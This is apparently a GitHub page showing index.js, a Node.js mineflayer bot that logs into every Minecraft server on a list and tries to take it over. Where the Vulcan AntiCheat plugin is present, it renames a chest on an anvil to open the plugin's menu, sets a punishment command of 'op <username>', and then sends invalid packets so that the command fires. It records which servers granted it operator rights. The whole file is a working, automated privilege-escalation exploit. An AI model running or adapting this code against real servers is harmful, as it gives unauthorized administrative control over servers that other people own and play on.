-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathindex.js
406 lines (376 loc) · 14.5 KB
/
index.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
const mineflayer = require("mineflayer");
const { pathfinder, Movements, goals } = require("mineflayer-pathfinder");
const logger = require("pino")();
const fs = require("fs");
const randomstring = require("randomstring");
const { Vec3 } = require("vec3");
const config = require("./config.json");
const servers = require("./servers.json");
logger.info("Imports done, starting bot...");
const LOGFILE = config.logto;
logger.info("Logging to " + LOGFILE);
if(!fs.existsSync(LOGFILE)) {
fs.writeFileSync(LOGFILE, "");
}
const handleErr = e => logger.warn("Uncaught error: " + e?.stack);
process.on("uncaughtException", handleErr);
process.on("unhandledRejection", handleErr);
const timeoutErrorPromise = ms => new Promise((_, reject) => setTimeout(reject, ms, new Error("Timeout after " + ms + " ms")));
const sleep = ms => new Promise(resolve => setTimeout(resolve, ms));
const name = "Vulcan AntiCheat";
const useAnvil = async (bot, newBlock) => {
const anvil = await bot.openBlock(newBlock);
await sleep(201);
if (bot.supportFeature("useMCItemName")) {
bot._client.registerChannel("MC|ItemName", "string")
}
const chestsItem = bot.inventory.items().find(item => item.name === "chest");
const sendItemName = name => {
if (bot.supportFeature("useMCItemName")) {
bot._client.writeChannel("MC|ItemName", name);
} else {
bot._client.write("name_item", { name });
}
}
const addCustomName = async name => {
for (let i = 1; i < name.length + 1; i++) {
sendItemName(name.substring(0, i));
await sleep(50);
}
}
const putSomething = async (slot, itemId, metadata, count, nbt) => {
const options = {
"window": anvil,
"itemType": itemId,
metadata,
count,
nbt,
"sourceStart": anvil.inventoryStart,
"sourceEnd": anvil.inventoryEnd,
"destStart": slot,
"destEnd": slot + 1
};
await bot.transfer(options);
}
await putSomething(0, chestsItem.type, chestsItem.metadata, chestsItem.count, chestsItem.nbt);
sendItemName("");
if (!bot.supportFeature("useMCItemName")) sendItemName("");
await addCustomName(name);
await sleep(1700);
await bot.putAway(2);
await bot.currentWindow.close();
await sleep(510);
}
const sendInvalidPacket = async bot => {
await bot._client.write("held_item_slot", { "slotId": -1 });
}
const setErrorHandler = bot => {
bot.on("error", () => null);
}
const checkServer = async server => {
logger.info("Starting bot...");
const username = server.username || randomstring.generate(10);
const password = server.password || randomstring.generate(10);
const ip = server.ip;
const port = server.port || 25565;
const version = server.version || false;
logger.info("Server IP: " + ip);
logger.info("Port: " + port);
logger.info("Username: " + username);
logger.info("Password: " + password);
logger.info("Version: " + (version ? version : "auto"));
let certainity = 0;
let hasVulcan = false;
let canObtain = false;
const opts = {
host: ip,
port: port,
username: username
};
let bot = mineflayer.createBot(opts);
setErrorHandler(bot);
bot.loadPlugin(pathfinder);
logger.info("Bot started!");
let loggedIn = false;
let handleEnd = true;
bot.once("login", () => { loggedIn = true });
bot.once("end", () => {
try {
if(!handleEnd) return;
bot = mineflayer.createBot(opts);
setErrorHandler(bot);
bot.once("login", () => { loggedIn = true });
bot.loadPlugin(pathfinder);
logger.info("REstarted!");
} catch(_) {}
});
await Promise.race([
new Promise(resolve => {
const check = () => {
if(loggedIn) resolve();
else setTimeout(check, 1);
}
check();
}),
timeoutErrorPromise(5000)
]);
handleEnd = false;
logger.info("Logged in!");
await sleep(20000);
/* bot.on("messagestr", msg => {
logger.info("AAA DEBUG " + msg);
}); */
logger.info("Registering using /reg...");
bot.chat("/register " + password + " " + password);
await sleep(2998);
bot.chat("/login " + password);
await sleep(3000);
logger.info("Registered and logged in!");
logger.info("Getting the starter and the bonus kits...");
bot.chat("/kit start");
await sleep(3003);
bot.chat("/kit bonus");
await sleep(3004);
logger.info("Got the kits!");
logger.info("Trying to see what plugins we have...");
bot.chat("/plugins");
let plugins = "";
bot.on("messagestr", msg => {
plugins += msg;
});
await sleep(2000);
logger.info("Done checking plugins!");
if(plugins.includes("Vulcan")) {
logger.info("Vulcan detected!");
certainity += 0.2;
hasVulcan = true;
}
let xpbottle;
await sleep(1000);
logger.info("Trying to find an anvil warp and use the anvil...");
for(let i of [
"enchant",
"anvil",
"char"
]) {
await bot.chat("/warp " + i);
await sleep(3100);
}
logger.info("Done checking the warps, looking for the anvil now...");
const anvil0 = bot.findBlock({
"matching": block => (
block && block.position
&& (
block.name === "anvil"
|| block.name === "chipped_anvil"
|| block.name === "damaged_anvil"
)
),
"distance": 15,
"useExtraInfo": true
});
let foundAnvil = false;
if(anvil0) {
logger.info("Found an anvil!");
foundAnvil = true;
const movements = new Movements(bot);
bot.pathfinder.setMovements(movements);
bot.pathfinder.setGoal(new goals.GoalLookAtBlock(anvil0.position, bot.world));
await new Promise(resolve => bot.on("goal_reached", resolve));
xpbottle = bot.inventory.items().find(item => item.name === "experience_bottle");
if(xpbottle) {
await bot.equip(xpbottle);
await bot.lookAt(bot.entity.position.plus(new Vec3(0, -1, 0)));
await sleep(500);
for(let i = 0; i < 6; i++) {
await bot.activateItem();
await sleep(501);
}
}
await useAnvil(bot, anvil0);
}
await sleep(3001);
logger.info("Teleporting to a random location...");
bot.chat("/rtp");
await sleep(10000);
logger.info("Checking the inventory for necessary items...");
const inventory = bot.inventory.slots;
let chestAmount = 0;
let hasAnvil = false, hasTwoChests = false;
hasAnvil = bot.inventory.items().filter(item => item.name === "anvil"
|| item.name === "chipped_anvil"
|| item.name === "damaged_anvil").length > 0;
hasTwoChests = bot.inventory.items().filter(item => item.name === "chest" || item.name === "trapped_chest").reduce((all, cur) => all + cur.count, 0) >= 2;
if(chestAmount >= 2)
hasTwoChests = true;
if((hasAnvil || foundAnvil) && hasTwoChests) {
logger.info("We have an anvil and two chests!");
logger.info("Trying to perform the exploit...");
await bot.waitForChunksToLoad();
if(!foundAnvil) {
xpbottle = bot.inventory.items().find(item => item.name === "experience_bottle");
if(xpbottle) {
await bot.equip(xpbottle);
await bot.lookAt(bot.entity.position.plus(new Vec3(0, -1, 0)));
await sleep(500);
for(let i = 0; i < 6; i++) {
await bot.activateItem();
await sleep(501);
}
}
let block = await bot.findBlock({
"matching": block => (
block && block.position
&& (block.position.x != Math.floor(bot.entity.position.x) || block.position.z != Math.floor(bot.entity.position.z))
&& block.boundingBox == "block"
),
"useExtraInfo": true,
"distance": 3
});
await bot.equip(bot.inventory.items().find(item => item.name === "anvil"
|| item.name === "chipped_anvil"
|| item.name === "damaged_anvil"));
await bot.lookAt(block.position.plus(new Vec3(0, 0.5, 0)));
await bot.placeBlock(block, new Vec3(0, 1, 0));
let newBlock = bot.blockAt(block.position.plus(new Vec3(0, 1, 0)));
await bot.lookAt(newBlock.position);
await sleep(200);
// const anvil = await bot.openAnvil(newBlock);
await useAnvil(bot, newBlock);
// await anvil.shiftClick({ "mouseButton": 0, "slot": 2 })
// await anvil.rename(bot.inventory.items().find(item => item.name === "chest"), "Vulcan AntiCheat");
}
await sleep(1200);
block = await bot.findBlock({
"matching": block => (
block && block.position
&& (block.position.x != Math.floor(bot.entity.position.x) || block.position.z != Math.floor(bot.entity.position.z))
&& block.boundingBox == "block"
&& bot.blockAt(block.position.plus(new Vec3(0, 1, 0))).name === "air"
&& block.name !== "anvil"
),
"useExtraInfo": true,
"distance": 3
});
await bot.equip(bot.inventory.items().find(item => item.name === "chest"));
await sleep(209);
await bot.lookAt(block.position.plus(new Vec3(0, 0.5, 0)));
await sleep(1007);
await bot.placeBlock(block, new Vec3(0, 1, 0));
newBlock = bot.blockAt(block.position.plus(new Vec3(0, 1, 0)));
await bot.lookAt(newBlock.position);
await sleep(1008);
const chest = await bot.openChest(newBlock);
await sleep(1507);
try { await bot.clickWindow(chest.slots.find(item => item && item.customName == name).slot, 0, 0); } catch(e) {
logger.warn("Non-fatal error while clickin on an item a: " + e.stack)
}
await sleep(1503);
try { await bot.simpleClick.leftMouse(bot.currentWindow.slots.find(item => item && item.name == "apple").slot); } catch(e) {
logger.warn("Non-fatal error while clickin on an item b: " + e.stack)
}
await sleep(1504);
try { await bot.simpleClick.leftMouse(bot.currentWindow.slots.find(item => item && item.customName.includes("Bad Packets (Type O)")).slot); } catch(e) {
logger.warn("Non-fatal error while clickin on an item c: " + e.stack)
}
await sleep(1505);
try { await bot.simpleClick.rightMouse(bot.currentWindow.slots.find(item => item && item.customName.includes("Set Punishment Commands")).slot); } catch(e) {
logger.warn("Non-fatal error while clickin on an item d: " + e.stack)
}
await sleep(1506);
await bot.chat("0");
await sleep(1507);
try { await bot.simpleClick.leftMouse(bot.currentWindow.slots.find(item => item && item.customName.includes("Set Punishment Commands")).slot); } catch(e) {
logger.warn("Non-fatal error while clickin on an item e: " + e.stack)
}
await sleep(1508);
await bot.chat("op " + username);
await sleep(507);
await bot.currentWindow.close();
await sleep(511);
logger.info("Started checking the exploit...");
const prom1 = new Promise(resolve => {
bot.on("end", async () => {
try {
const bot = mineflayer.createBot(opts);
setErrorHandler(bot);
await Promise.race([
new Promise(resolve => bot.once("login", resolve)),
timeoutErrorPromise(5000)
]);
bot.chat("/login " + password);
await sleep(3000);
await bot.chat("/gamemode 1");
await sleep(3005);
await bot.chat("/gamemode creative");
await sleep(508);
if(bot.game.gameMode == "creative") {
logger.info("Able to obtain OP!!!");
certainity += 0.8;
canObtain = true;
}
resolve();
} catch(e) {
logger.warn("Non-fatal error on checking stage prom1: " + e.stack);
}
});
});
const prom2 = new Promise(async resolve => {
let cont = true;
bot.on("end", () => { cont = false });
try {
await sleep(2500);
if(!cont) return;
await bot.chat("/gamemode 1");
if(!cont) return;
await sleep(3005);
if(!cont) return;
await bot.chat("/gamemode creative");
if(!cont) return;
await sleep(508);
if(!cont) return;
if(bot.game.gameMode == "creative") {
logger.info("Able to obtain OP!!!");
certainity += 0.8;
canObtain = true;
}
if(!cont) return;
resolve();
} catch(e) {
logger.warn("Non-fatal error on checking stage prom1: " + e.stack);
}
});
for(let i = 0; i < 25; i++)
await sendInvalidPacket(bot);
await Promise.race([prom1, prom2]);
}
await sleep(1000);
await bot.quit();
logger.info("Making a report now...");
fs.appendFileSync(LOGFILE, `Report for bot ${username}:
Password: ${password}
Server: ${ip}:${port}
Overall vulnerability certainity: ${certainity}
Has Vulcan: ${hasVulcan}
Was able to obtain OP: ${canObtain}
`);
logger.info("Bot " + username + " done with certainity " + certainity + ", thank you!");
}
// TODO: proper threading
const worker = async () => {
while(servers.length > 0) {
const server = servers.shift();
try {
await Promise.race([
checkServer(server),
timeoutErrorPromise(300000) // 5 min
]);
} catch(e) {
logger.error("A bot for " + server.ip + " threw an error: " + e.stack);
}
}
}
(async () => {
for(let i = 0; i < Math.min(config.threads, servers.length); i++)
setTimeout(worker);
})();